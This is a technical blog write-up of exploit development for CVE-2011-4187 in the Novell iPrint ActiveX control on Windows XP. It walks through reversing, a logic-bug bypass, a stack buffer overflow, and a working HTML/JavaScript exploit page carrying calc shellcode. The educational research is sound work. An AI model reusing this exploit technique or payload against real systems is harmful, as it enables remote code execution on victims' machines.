Vulnerability research and ActiveX controller exploitation

Cover image representing vulnerability research on a printer's driver

This post is technical and was written a long time ago. It covers vulnerability research topic and if you do not understand, don’t push it, check my easier other posts instead!

1. Introduction

This is probably the longest write-up you’ll see on this blog. The reason is simple: I will show you the whole processus of vulnerability research, to full exploitation of a Windows OCX Controller, including failing paths (that are very interesting).

I will go from a simple CVE number, with no existing public exploit and not much information on the internet, to finding the vulnerability and exploiting it to run arbitrary code on the operating system.

The goal here is to show you all the thinking process, all the techniques I’ve used to get unstuck of some situations, and so on. That’s why I have included even the paths that lead to failure, because it’s part of the process.

Tip

This write-up will first show the correct way of exploitation leading to success, and then at the end I will include the paths that first lead me to the wrong directions.

Do not neglect these failing paths, there are a huge part of the vulnerability research and exploitation process, and I’d say they are even more important that the success path.

Let’s start this journey, with the only starting element we have: CVE-2011-4187.

2. Gathering information

I will not spend a lot of time on this gathering information chapter, because this post will already be long enough. You will still get the right idea though.

We have nothing, no exploit, not even a clear indication of the vulnerability, but only a CVE number.

The first tool we need is Google!

2.1. About the CVE

We notice that there is no public exploit associated with this CVE but we quickly get to the cvedetails page: https://www.cvedetails.com/cve/CVE-2011-4187/ on which we can read:

Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.

So, GetDriverSettingsnipplib.dllBuffer overflow and realm field are the keywords of this vulnerability.

By googling about nipplib.dll, we find more posts and pages about some ActiveX vulnerable component.

There is also a Windows client tool and its version mentionned, by trying to install it on our Windows 7 system we notice it fails: indeed, it only works on Windows XP. So we assume the whole exploitation part will have to be done on Windows XP, which makes things a bit harder.

2.2. About the target

So we start a Windows XP SP3 virtual machine through Virtual Box and run the installation process of the client.

At this point we know it has something to do with an ActiveX controller, so we’ll simply try and call some of its methods.

In order to call this controller, we need its object ID (CLSID). We know that the name of the program is Novell iPrint so we’ll search for this name in the windows registry to get the CLSID.

Success
The CLSID is 36723F97-7AA0-11D4-8919-FF2D71D0D32C.

We can reference this controller by specifying its object ID in an HTML object tag.

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
</html>

Next, we’ll use Javascript to call its methods.

How did I know how to reference this object?

In another exploit published on exploit-db, we can notice that the same vulnerable function GetDriverSettings is used: https://www.exploit-db.com/exploits/16014. Since I didn’t know how to correctly call this ActiveX controller, I used this exploit to format my object call and verify the CLSID I found.

Even though this is not our vulnerability, it still helps to look at how other people managed to reach a certain point in their exploitation process. Here, we used their way to reference the ActiveX object.

We must have an .OCX binary object and a .DLL library installed through the installation process. We’ll use the .OCX file to read our ActiveX controller’s methods.

Info
Again, this information is quickly found by Googling about ActiveX. I will not cover the Google search part in this post. If there are some things I don’t explain and you wonder “how did he find this information”, the answer is always: simple Google search. If it’s not that simple, I’ll cover it in this post.

If we list all installed .OCX files on the system, particulary one of them is interesting: ienipp.ocx which was part of the ActiveX control name in the registry.

cd C:\Windows\system32
dir *.ocx

We’ll use OLE/COM Object Viewer from the Windows 10 SDK tools to browse this ienipp.ocx file.

Among the listed methods, we find GetDriverSettings which seems to be our vulnerable function (according to the cvedetails page). Also, GetDriverSettings2 is listed, probably a sub-method or a second version.

We can use ShowMessageBox method to quickly test our ActiveX controller.

Tip

At this point, before continuing, I wanted to make a simple test to make sure I’m on the right path.

Basically, I wanted to confirm that my way of calling this object method’s was correct and working, and that the CLSID we found was the right one.

Every time you have a simple way to probe and test that you’re on the right path, you should do it to avoid taking unnecessary time looking at wrong elements.

Here, I called a simple message box function.

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.ShowMessageBox("HelloWorld", "Title", 0);
</script>
</html>

We test our method call by opening the HTML file in Internet Explorer (because other browsers will not use ActiveX controller drivers).

Success
Our method was correctly called. We are now sure that we are dealing with the right object ID and that we’re able to call its methods.

We can even try to call GetDriverSettings to see what happens.

But as expected, nothing visual happens.

Now that all basic tests are done and we got a global view of the scope, we can start reversing ienipp.ocxto see how a call to GetDriverSettings is handled.

3. Reversing the controller

I will mostly use IDA Pro 32-bit for reversing the binaries.

3.1 Reversing ienipp.ocx

Let’s open ienipp.ocx in IDA and find the GetDriverSettings function. IDA asks for an input file nipplib.dll, also we read that the vulnerable function is called from this DLL. So we take this .DLL file and from C:\Windows\system32\ and give it to IDA.

While searching the GetDriverSettings keyword among IDA imported functions, we get to this:

A function called from the nipplib.dll library. Let’s find its references to check where and when it is called:

The function is called only at address 0x1000AE10+244, if we look at the code we notice that many things are being checked before calling the vulnerable function (marked in red as breakpoint).

We can notice strings like ipp://%s/ipp/IppSrvr are being used among the checks. If we assume that %s will be replaced with a printer URL (which is one of the GetDriverSettings method’s parameter), a quick guess is that we’ll need to setup a server to correctly reply to this client’s requests in order to pass the checks.

In other terms, some work is needed before even calling the vulnerable code.

Note
In this write-up, I’ll not explain each and every instruction bloc that I reversed, but I’ll directly come to the important branches and sum-up what is happening step-by-step.

First, some checks are done on our method’s parameters (printerUrirealmuserNamepassword) at the very beginning:

Basically, the length of each parameter is being checked, so if we stay at less that 0x100 bytes, we pass the checks (otherwise IppGetDriverSettings2 is not called).

Then, we get to the main bloc of these check series:

The line marked in red (breakpoint) is a key function call because it will determine the next jump: if the sub_1000FBD0 function returns a value different from 0, the vulnerable call isn’t done and we directly jump to the end. Else, if another length check is passed, the vulnerable function is called anyway, that makes this sub_1000FBD0 function a really important check.

Let’s rename this function to important_check for more simplicity. Now, we’ll reverse it.

Surprisingly, the function body is quite simple, and it itself calls another nipplib.dll function called IppMgmtGetServerVersion2 which is again a key call because it will determine whereas the important_check function returns 0 or not.

From now on, we’re done with ienipp.ocx because we need to reverse the IppMgmtGetServerVersion2declared in the nipplib.dll library.

What to keep in mind

We learned two important things from this .OCX file:

  • Our method parameters must have a small enough length.
  • IppMgmtGetServerVersion2 must succeed (return 0) so that important_check also returns 0 and leads to the vulnerable call.

With these two conditions respected, the vulnerable function will be called.

3.2. Reversing nipplib.dll

Just like the .OCX file, let’s open nipplib.dll library in IDA. We could reverse the IppGetDriverSettings2function but for now, we’re interested in IppMgmtGetServerVersion2 according to the previous analysis. We want to make sure we reach the vulnerable call, before analysing it.

As we can see, it simply calls a sub function sub_5C04B514, which is more interesting:

A lot of things seems to happen there, and there’s probably where the IPP requests are being made. The first idea that comes is “we need a server to reply to these requests”.

But, if we step back and consider each bloc as a mathematical equation and completely forget how it should work, some interesting paths shows up.

The problem is simple: if the function fails (so, basically if it cannot correctly get the server version), it will return -1, and we need it to return 0 in order to pass our checks in the .OCX file.

Let’s take each and every jump of this function and look which one of them leads to a return 0 bloc.

This is the first jump:

Indeed, depending the condition, one of the two paths leads to a return 0 result. I mean, directly, with no other checks or anything else:

The condition is weird. If IppCreateServerRef fails (returns NULL), the whole IppMgmtGetServerVersion2 function bloc returns 0 (success). This looks like some logic programming bug.

Important point
So this idea came into my mind: what if we could simply make IppCreateServerRef fail, we could bypass all these other tests based on IPP servers and we would not even need to reverse it all or emulate a server.

As I said, if we forget how it is supposed to work and simply consider the control flow graph as it is, we realize that this condition leading to a return 0 bloc exists and that we can exploit it. We basically found a loophole in the whole checking process.

Now let’s reverse IppCreateServerRef. We need to make it fail.

Note
Everytime I needed to verify what a function exactly takes as argument or how the program behaves on a specific return, I ran x64dbg on Windows XP, put a breakpoint on that function call and checked the stack. I will not specify this every time but I’ll show one example here.

Let’s place a breakpoint on IppCreateServerRef function call to quickly know what parameters are being checked there.

We’ll use x64dbg on Windows XP, run Internet Explorer (iexplorer.exe) with a basic payload and attach to the process.

As we can see, the parameters pushed on the stack are about the URL I specified in the PrinterUri field when calling the method. So, this URL will probably be checked by IppCreateServerRef. Let’s hope no server requests will be made by this function.

Let’s get back to IDA, we need this function to fail so we’ll find a “fail bloc” and see how we can get there, it shouldn’t be too hard.

The first jump is depending on a check made by an allocator, so it’s about dynamic memory allocation and we don’t really have an influence on it.

Though the second jump to the “fail bloc” depends on the sub_50022960 function call: if it returns something different from 0 (so it must fail), then we get to the fail bloc.

Let’s look onto sub_50022960:

The first check here is about the whole URL length, this could have been interesting because it’s an easy way to make the function fail, but the URL length is already checked in the .OCX file, so if we write more than 0x200 bytes, we’ll never get to this function, remember?

By dynamically debugging in x64dbg, later we notice a very interesting check:

Here, the length of what preceeds “://” at the beginning is checked. Here I put “testingipp” as a test case, if this value length exceeds 0x100 bytes, then the function fails: that’s perfect, we just need to write a long enough string preceeding “://” in our URL, without exceeding the URL total length of 0x200.

I feel you’re a bit lost. Let’s sum up so that we’re on the same page.

Elements we have at this point

So, if we remember well, we got everything we need to call the vulnerable function GetDriverSettings.

Here’s a sum up of why this is possible without even emulating a server and making the function succeed:

  • If sub_50022960 (called in IppCreateServerRef) returns something different from 0, then IppCreateServerRef will return NULL (it will fail).
    • This is possible by writing an URL prefix long enough to fail the check (>0x100) but short enough to pass the first check in the .OCX file (< 0x200).
  • If IppCreateServerRef returns NULL (it will fail), then IppMgmtGetServerVersion2 returns 0 (surprisingly, a success code). This is the logic bug we talked about.
  • If IppMgmtGetServerVersion2 returns 0 (success code), then IppGetDriverSettings2 is called. This is our initial condition to call the vulnerable code.

It’s simple as that.

Let’s check all that now. We always need to test our theory to make sure we’re on the right path. I wrote a random URL with a very long prefix:

Again, if you remember well, we need to make the first part of the URL, before the “://” string, long enough to fail one of the checks in the DLL. It is our condition to bypass all the IPP server check cases and directly land on the vulnerable code.

We test our first exploitation of the logic bug, dynamically by placing a breakpoint on the IppGetDriverSettings2 call and running the program with this payload.

Success

We indeed get to the call as expected. Our bypass worked fine, we called the vulnerable function without emulating any server, by exploiting a programming logic bug which was caused by a bad handling of error cases.

Something that looks not really important, such as incorrectly handling an error status code, led us right to a critical function, which would have been very difficult otherwise, or even impossible.

Note
I keep on insisting on this bypass, because in fact first I chose another path that I will explain at the end of this write-up, where I emulated an IPP server to reply to each request made by the client, to pass one by one each test: it was a waste of time because I didn’t get anything successful from it and I quickly dropped this path, but it’s worth talking about it: see Other paths section later.

To sum up the result: we finshed the first part of the exploitation, the vulnerable function is called.

Now let’s reverse GetDriverSettings2.

According to what we read on internet, the vulnerable field is realm, this should create a buffer overflow, and we can guess that it occurs on one of the many strcpy function calls in this function.

But before even using this parameter, there’s still a chance to end the function without getting to the vulnerable code:

Indeed, if the URL does not contain the iPrint-driver-profile-hiddenPA string (checked by the strstr), the function ends. So we’ll simply replace our hello-world string in URL by iPrint-driver-profile-hiddenPA. I didn’t try to know why this specific string was needed, but as long as it passes the check and leads us to the vulnerable code, that’s the matter.

Tip

Sometimes, just like now, we’ll choose to not waste our time in useless things by trying to understand elements that we don’t need to understand in order to complete our exploitation.

We could probably look up why this function needs this specific string, and there is probably a good internal reason, but we don’t really care: we have one goal in mind and it is to reach our vulnerable code to exploit it.

We cannot understand everything when reversing a big binary like that, so we choose to analyze only what is necessary.

Then, by searching for the actual vulnerability (we know it’s a buffer overflow), this strcpy call that takes the realm parameter as source seems interesting.

For the next exploitation section, I will try to make Internet Explorer crash by giving a long realm value(0x200 bytes which is the limit as we saw) and explore in x64dbg by dynamically debugging where did the crash occur.

We’re done with reversing here (I actually did reverse it all, see the Other paths section), let’s get to the exploitation part.

4. Exploitation

In this part of the write-up, we’ll debug the IppGetDriverSettings2 function itself, and try to provoke a buffer overflow, control the EIP register and pop a calc.exe.

Info

For some reason, and being part of a driver, once the ActiveX controller crashes, it keeps crashing everytime I call it, so I need to reboot my Windows XP after each crash.

I did not fully understand what exactly caused this behaviour.

Also, to attach to the process I want to debug, I first must run it, so I will run Internet Explorer with a basic payload that will not crash the program (AAAA for example), then once the debugger is attached to the process, I’ll open the real payload.

4.1. Control EIP

We press the continue button (F9) on x64dbg to get to the crash and inspect the registers:

The buffer overflow did indeed occur somewhere, but unfortunately the crash cause isn’t the corruption of the EIP register that we need to control the execution flow.

It is the EBX register that is responsible, and the crash is probably happening inside a strlen function which received the 0x41414141 address (consequence of our many A’s).

In such cases, we got two possibilites:

  • Either we went too far by overflowing (in that case, we must try with a shorter payload)
  • Or not enough (there, we can try a longer payload and eventually fix it to avoid the crashes happening before the EIP crash by writing valid addresses instead of A’s). This is a known method in exploitation: if your program crashes before reaching the saved EIP in stack, simply fix the crash by providing the program the minimum requirement to not crash: like a random valid address. You do not really care what it will do with it because you know you will take control of the execution flow.

In our case, we’re already limited by the checks in the .OCX file: we cannot go beyond 0x200 bytes.

So let’s try with a shorter string:

We continue and check the registers upon crash:

Success

One of our A’s bloc overflowed the saved EIP value in the stack, which was restored through the retinstruction: now we control the execution flow.

In cases where we don’t know which bloc controls the EIP, we can just try to remove characters until we get to the limit, or simply use a cyclic payload string, like AAAABBBBCCCCDDDD etc.

The next steps are very simple, we’re close to the end:

  • Get a pop calc.exe shellcode
  • Write it in one of the fields (for example username) of the vulnerable function
  • Run Internet Explorer with a legitimate realm field so that it does not crash
  • Get the address of our shellcode
  • Without rebooting (so that the address remains the same), build another payload to provoke the overflow and set the EIP at the shellcode’s address
  • Call the new payload in Internet Explorer

4.2. Get a shellcode

Let’s try it, I chose this shellcode (for Windows XP SP3 EN) from http://shell-storm.org/shellcode/files/shellcode-739.php:

 "\x31\xC9"             // xor ecx,ecx
 "\x51"                 // push ecx
 "\x68\x63\x61\x6C\x63" // push 0x636c6163
 "\x54"                 // push dword ptr esp
 "\xB8\xC7\x93\xC2\x77" // mov eax,0x77c293c7
 "\xFF\xD0"             // call eax

4.3. Store the shellcode in memory

We write it in the username field with xxd on linux (or any similar tool for manipulating binary data). Then we run the first payload just to get the address (it shouldn’t crash here):

As you can see, the realm field is not malicious here, nothing should trigger the vulnerable code.

4.4. Get the shellcode’s address

Let’s run Internet Explorer with this file and get the username field address by placing a breakpoint on the GetDriverSettings2 call.

As we can see, the username address (3rd parameter in stack) is 0x02843728, by dumping it we notice our shellcode there.

4.5. Jump to shellcode and win

Now, we’ll modify the payload with which we control EIP to overflow with this address (instead of 0x41414141) in order to jump to our shellcode.

$ xxd -p -r payload > win_payload.html
$ cat win_payload.html
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings(
"RYKZkNPoYQhv8qEaKtHGXKYcfhPoKYD2MCci5hBV0vVux7J3t8PapWJnnGPPz
fbtsJ0fgr4jcfwU5GF8frhSWzRaiHUt2fIlTmEHJAR09JbK9Wwl22hxyIzwRdt8
NH6uXL3tZfQkAUrmzfle9Ni1q8dammfbi8YfAK90UPtB4LU0JYQMBbgmQbIgxvu
R1X9xxDtSNeqewZYlqf1JTi4FCNtjPT9zDyeg6PRvvPNxswm1Xac7YHOgGN1m9h
mSZ1dR://iprint-driver-profile-hiddenpa",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA(7�", "1�QhcalcT�Ǔ�w��", "A");
</script>
</html>

Let’s try this now after detaching the debugger from the process.

Success

A calc.exe popped as expected, we won.

In the next section, I’ll explain the other paths I tried to take and that failed: it’s still interesting to read.

5. Other paths

Before getting to the result above, I tried some completely different things. For the first part of the reverse section (trying to figure out how to make a call to GetDriverSettings), I set up and emulated an IPP serverto reply to each request from the server (so that IppMgmtGetServerVersion2 does not fail), at this time I didn’t notice the easy way of doing it (the logic bug, remember?).

The other different path I took was in the exploitation part, during the buffer overflow, I didn’t write enough characters to overflow the EIP the way I explained in the write-up, but I did write enough to overflow the EIP through a modificated version of my entry: in fact, the realm string was sent to a bloc per bloc encryption function (the key was stored in the memory so I reversed it), which then produced a twice longer string: this produced a buffer overflow but I couldn’t directly control EIP since what overflowed was the ciphertext and not the cleartext. Nonetheless, I managed to set EIP to 0x41414141 this way, but I got no way to set a valid address, I’ll explain this in the next parts.

I will only sum up each part and not get into deep details.

5.1. The IPP Server

First, let’s talk about the emulation of the IPP server.

We get back to the reverse of the sub_5C04B514 where I noticed the IppCreateServerRef check, and where I said:

A lot of things seems to happen there, and there’s probably where the IPP requests are being made. The first idea that comes is “we need a server to reply to these requests”. But, if we step back and consider each bloc as a mathematical equation and completely forget how it should work, some interesting paths shows up.

For this part, I set up a server and assigned a domain name to it, let’s say ipp-server-check.cf.

So I first only checked what kind of request was made by the client (which I guess was trying to reach port 631), I opened the 631 port with nc and waited for the request:

$ nc -lvp 631
Listening on [0.0.0.0] (family 0, port 631) Connection from x.x.x.x 35136 received!
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
Accept-Charset: UTF-8,ISO-8859-1 Accept-Language: en-us, en
User-Agent: Novell iPrint Client - v05.74.00 Cache-Control: no-cache
Pragma: no-cache
Host: iprint.local-intranet-do.cf:631 Content-type: application/ipp
Connection: keep-alive
Content-length: 112

@Gattributes-charsetutf-8Httributes-natural-languageen-usDoperation-nameget-serv er-versionserver-version1.1

So I guessed that the POST request on /ipp/IppSrvr must succeed.

By reversing the IppMgmtGetServerVersion2 function, I noticed three important function calls.

Without getting into details, the first function made the actual network request, the second function is a huge set of tests about the answer from the server, and the third function makes additionnals checks and is called if the second function fails.

What is important here is the second function call nipplib.5C0450B3.

As I previously mentioned I didn’t get to the end of this, because I dropped this way, but here is what I got from reversing this function:

  • A first check is performed on the version-number returned by the server, it reads the first bytes of the request body to get this number:
  • To pass the test, we can simply specify 0x100 or 0x101 at the beginning of the request body.
  • Then, the validity of the response IPP header is being checked
    • For this part, I simply set up a CUPS server, waited for a request, and checked what CUPS replied to the client (of course, it wasn’t a valid response but the header was OK so I used it)
  • Then, it required the presence of the server-version attribute in the attribute group through the IppFindAttributeInSet function which simply lists all attributes received and compares them to the specified value, here it is server-version.
3.1.  Picture of the Encoding

3.1.1.  Request and Response

   An operation request or response is encoded as follows:

   -----------------------------------------------
   |                  version-number             |   2 bytes  - required
   -----------------------------------------------
   |               operation-id (request)        |
   |                      or                     |   2 bytes  - required
   |               status-code (response)        |
   -----------------------------------------------
   |                   request-id                |   4 bytes  - required
   -----------------------------------------------
   |                 attribute-group             |   n bytes - 0 or more
   -----------------------------------------------
   |              end-of-attributes-tag          |   1 byte   - required
   -----------------------------------------------
   |                     data                    |   q bytes  - optional
   -----------------------------------------------

                       Figure 1: IPP Message Format

   The first three fields in the above diagram contain the value of
   attributes described in Section 4.1.1 of the Model and Semantics
   document [RFC8011].

   The fourth field is the "attribute-group" field, and it occurs 0 or
   more times.  Each "attribute-group" field represents a single group
   of attributes, such as an Operation Attributes group or a Job
   Attributes group (see the Model).  The Model specifies the required
   attribute groups and their order for each operation request and
   response.

   The "end-of-attributes-tag" field is always present, even when the
   "data" is not present.  The Model specifies whether the "data" field
   is present for each operation request and response.

   3.1.2.  Attribute Group

   Each "attribute-group" field is encoded as follows:

   -----------------------------------------------
   |           begin-attribute-group-tag         |  1 byte
   ----------------------------------------------------------
   |                   attribute                 |  p bytes |- 0 or more
   ----------------------------------------------------------

                    Figure 2: Attribute Group Encoding

   An "attribute-group" field contains zero or more "attribute" fields.

   Note that the values of the "begin-attribute-group-tag" field and the
   "end-of-attributes-tag" field are called "delimiter-tags".

   3.1.3.  Attribute

   An "attribute" field is encoded as follows:

   -----------------------------------------------
   |          attribute-with-one-value           |  q bytes
   ----------------------------------------------------------
   |             additional-value                |  r bytes |- 0 or more
   ----------------------------------------------------------

                       Figure 3: Attribute Encoding

I will not explain the IPP protocol here, but this RFC helped me to add a new attribute in my IPP answer:

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 97
Content-Type: application/ipp
Date: Sat, 13 Jul 2019 21:53:39 GMT
Keep-Alive: timeout=10
Accept-Encoding: gzip, deflate, identity Server: IPPSAMPLE/1.0b1
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

Gattributes-charsetutf-8Httributes-natural-languageen-usDserver-version1.1

Whose hexadecimal dump is:

[...]
00000160: 2d6c 616e 6775 6167 6500 0565 6e2d 7573 -language..en-us
00000170: 4400 0e73 6572 7665 722d 7665 7273 696f D..server-versio
00000180: 6e00 0331 2e31 030d 0a                  n..1.1...
[...]

By setting the right delimiters (and a random value-tag), my new attribute was added and correctly receivedby the server.

Question
But then, it seems like I missed something in my answer because a crash occured on a strlen function that received NULL no matter what I did. I tried to add more attributes, add data field, but this function was still crashing.

When I planned to reverse the whole previous function to check what I missed, I dropped it because I found an easier solution (the logic bug I explained in the write-up earlier).

Now let’s get to the other path in the exploitation part.

5.2. The ciphertext buffer overflow

Here, we get back to the part where I said:

In such cases, we got two possibilites:

  • Either we went too far by overflowing (in that case, we must try with a shorter payload)
  • Or not enough (there, we can try a longer payload and eventually fix it to avoid the crashes happening before the EIP crash by writing valid addresses instead of A’s). This is a known method in exploitation: if your program crashes before reaching the saved EIP in stack, simply fix the crashby providing the program the minimum requirement to not crash: like a random valid address. You do not really care what it will do with it because you know you will take control of the execution flow.

In our case, we’re already limited by the checks in the .OCX file: we cannot go beyond 0x200 bytes. So let’s try with a shorter string.

The mistake I made was trying a too short string, that led me to the wrong path. To sum up, a function takes the realm field as parameter, then applies an encryption process on it, based on a huge static key stored in memory.

It’s a bloc by bloc encryption process (by blocks of 8 bytes), so if the first bloc of 8 bytes is modified, the whole ciphertext changes.

I managed to reproduce the whole encryption function in C and try it locally:

#include "the_key.h"

//unsigned char key[8] = {0xf1, 0x80, 0x39, 0xd6, 0x88, 0xd3, 0xbe, 0x64};
//unsigned char key[8] = {0x52, 0x74, 0x84, 0x0f, 0xf9, 0xb7, 0xc6, 0x2a};
//unsigned char key[8] = {0x6f, 0x04, 0x6e, 0x4b, 0x81, 0x49, 0xa7, 0xca};

unsigned char key[8] = {0, 0, 0, 0, 0, 0, 0, 0};
unsigned int key_part1;
unsigned int key_part2;
char newbuf[8192] = {0};
char realbuf[8192] = {0};

unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int index_tmp;
    unsigned int ebx;

    index_tmp = ((tmp_bloc >> 24) & 0xff) * 4 + 0x48;
    unsigned int special_bloc_1 = *((unsigned int *)the_key + (index_tmp / sizeof(unsigned int)));

    index_tmp = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
    unsigned int special_bloc_2 = *((unsigned int *)the_key +(index_tmp / sizeof(unsigned int)));

    index_tmp = ((tmp_bloc >> 8) & 0xff) * 4 + 0x848;
    unsigned int special_bloc_3 = *((unsigned int *)the_key + (index_tmp / sizeof(unsigned int)));

    index_tmp = ((tmp_bloc) & 0xff) * 4 + 0xc48;
    unsigned int special_bloc_4 = *((unsigned int *)the_key + (index_tmp / sizeof(unsigned int)));

    ebx = special_bloc_2 + special_bloc_1;
    ebx ^= special_bloc_3;
    ebx += special_bloc_4;
    return ebx;
}

unsigned int get_new_key(unsigned char *old_key, unsigned char *the_key) {
    unsigned int index_tmp;
    unsigned int bloc_1_oldkey = *((unsigned int *)old_key);
    unsigned int bloc_2_oldkey = *((unsigned int *)old_key + 1);

    unsigned int bloc_1_thekey = *((unsigned int *)the_key);
    unsigned int bloc_2_thekey = *((unsigned int *)the_key + 1);
    unsigned int bloc_3_thekey = *((unsigned int *)the_key + 2);
    unsigned int bloc_4_thekey = *((unsigned int *)the_key + 3);
    unsigned int bloc_5_thekey = *((unsigned int *)the_key + 4);
    unsigned int bloc_6_thekey = *((unsigned int *)the_key + 5);
    unsigned int bloc_7_thekey = *((unsigned int *)the_key + 6);
    unsigned int bloc_8_thekey = *((unsigned int *)the_key + 7);
    unsigned int bloc_9_thekey = *((unsigned int *)the_key + 8);
    unsigned int bloc_10_thekey = *((unsigned int *)the_key + 9);
    unsigned int bloc_11_thekey = *((unsigned int *)the_key + 10);
    unsigned int bloc_12_thekey = *((unsigned int *)the_key + 11);
    unsigned int bloc_13_thekey = *((unsigned int *)the_key + 12);
    unsigned int bloc_14_thekey = *((unsigned int *)the_key + 13);
    unsigned int bloc_15_thekey = *((unsigned int *)the_key + 14);
    unsigned int bloc_16_thekey = *((unsigned int *)the_key + 15);
    unsigned int bloc_17_thekey = *((unsigned int *)the_key + 16);
    unsigned int bloc_18_thekey = *((unsigned int *)the_key + 17);
    unsigned int tmp_bloc;
    unsigned int ebx;
    unsigned int edx;

    unsigned int edi = bloc_1_oldkey ^ bloc_1_thekey;
    unsigned int esi = bloc_2_oldkey ^ bloc_2_thekey;

    tmp_bloc = edi;
    ebx = shift_on_key(tmp_bloc);
    esi ^= ebx;

    edx = bloc_3_thekey;
    edi ^= edx;

    tmp_bloc = esi;
    ebx = shift_on_key(tmp_bloc);
    edi ^= ebx;

    edx = bloc_4_thekey;
    esi ^= edx;

    [...]

    tmp_bloc = esi;
    ebx = shift_on_key(tmp_bloc);
    edi ^= ebx;

    edx = bloc_18_thekey;
    esi ^= edx;

    key_part1 = esi;
    key_part2 = edi;
}

int main(int ac, char **av) {
    int i = 0, j = 0;
    char *entry = av[1];

    get_new_key(key, the_key);
    while (entry[i]) {
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part1 >> 24) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part1 >> 16) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part1 >> 8) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part1) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part2 >> 24) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part2 >> 16) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part2 >> 8) & 0xff) : 0; i++;
        entry[i] ? newbuf[i] = entry[i] ^ ((key_part2) & 0xff) : 0; i++;

        j = i - 8;

        key[0] = newbuf[j + 3];
        key[1] = newbuf[j + 2];
        key[2] = newbuf[j + 1];
        key[3] = newbuf[j + 0];
        key[4] = newbuf[j + 7];
        key[5] = newbuf[j + 6];
        key[6] = newbuf[j + 5];
        key[7] = newbuf[j + 4];
        get_new_key(key, the_key);
    }

    i = 0;
    char *tmp = realbuf;

    while (newbuf[i])
    {
        sprintf(tmp, "%02hhX", newbuf[i++]);
        tmp += 2;
    }

    printf("%s\n", realbuf);
}
Info

To sum up, a function takes a previous key value as parameter and generates from it a new key with a lot of xor operations. Then, my realm value’s 8 bytes are xored with this key and the result of it is stored as the new key (for example, if the key is 0x4141414142424242, and my value is 0x4343434344444444, then the xor result of these two values is stored as a seed to generate the next key, that’s why modifying the first 8 bytes generates a completely new string).

Then at last, a sprintf with %02hhX format is called on each of the resulting byte, and the result of it is stored in a new buffer0x02hhX will simply store the base 16 (hexadecimal) version of a character and store it as string (that’s important) in a new location.

For example, if through the encryption process I get the byte 0x42, then “42” will be stored at the new location, which means two bytes “\x34\x32” will be stored from one byte “\x42”.

Do you follow? Take the time to re-read that if it isn’t clear, because I know this part might get confusing.

A buffer overflow occured from that new location, the ciphertext (for which the size is the double of the initial realm string size) overflowed on the saved EIP and I thought I could control the execution flow there.

So I locally tried to generate an entry that would produce “0x41414141” (thanks to the fact that I have re-developed the whole encryption process in C) as the 4 end bytes of the ciphertext (which means, the encrypted string before calling sprintf must end with “\xAA\xAA”).

By testing, I managed to get a string that fullfilled this condition:

./a.out $(python -c 'print "B"*132 + "\x43\x90"')
D53A83F267BDD08BB10EA219AF391520ACA353B1DFD6F71E2D5E22D7A54F07653D07AEF2C302B894
05F546E7616043E7D92888B3653936BBEC535AF524F297F15AEDB569E0CCC45AF9C76FEF44D4F823
3896F5D0DEA7861C7E0C0ED1A0095D04F9EFE876EE60AAE2F43DA643B766C950F7AAF4148DD09E13
3CCAF8EFDA95CFDA49177C2EAAAA

Theoretically, by entering 132 “B” followed by “\x43\x90” as realm parameter would result in an EIP register equal to 0x41414141.

Success
Indeed, it worked.

But I got blocked here because there was no way for me to get values like “0x01414141” or “0x02424242” because neither 0x02 nor 0x01 are part of the values that can be returned by sprintf with 0x02hhXformatting, because what is returned is the hexadecimal form of a character which possibly can’t be 0x01according to the encryption process.

Well maybe it can, maybe this way would succeed somehow but I dropped it when I found out that a much simpler way existed by writing a longer payload string (as show earlier in this write-up).

6. Conclusion

Here is the end of this post. We saw a lot of things, from gathering information about a CVE, to reverse engineering and full exploitation of an ActiveX controller. We even saw the potential vulnerable paths that led to nothing.

Explanation

By exploiting this CVE, we noticed a lot of bugs in the code of this controller, remember:

  • The logic bug on the error return status that let us reach the critical function bypassing all the checks in place.
  • The flaw in the bloc by bloc encryption process of the realm field, that allowed us to partially control the EIP register (we could set it to 0x41414141 for POC but couldn’t go beyond to set an arbitrary address).
  • The buffer overflow on a wrongly handled strcpy call that simply led to the full takeover of this controller.
  • Other small bugs and code flaws that made this controller generally vulnerable.

As you noticed, there are a lot of elements in such big programs, and a lot of attack vectors, through networkencryption processes, and so on. Keep in mind that by looking further and spending more time, maybe I would have found other vulnerabilities leading to the same result.

Every system is vulnerable at some point, if we take time to inspect everything and try to think out of the box, like I did for the logic bug in the checking function.

I hope you liked this post and that you learnt some new things.

Thanks for reading.

Subscribe
Notify of
guest
0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
Scroll to Top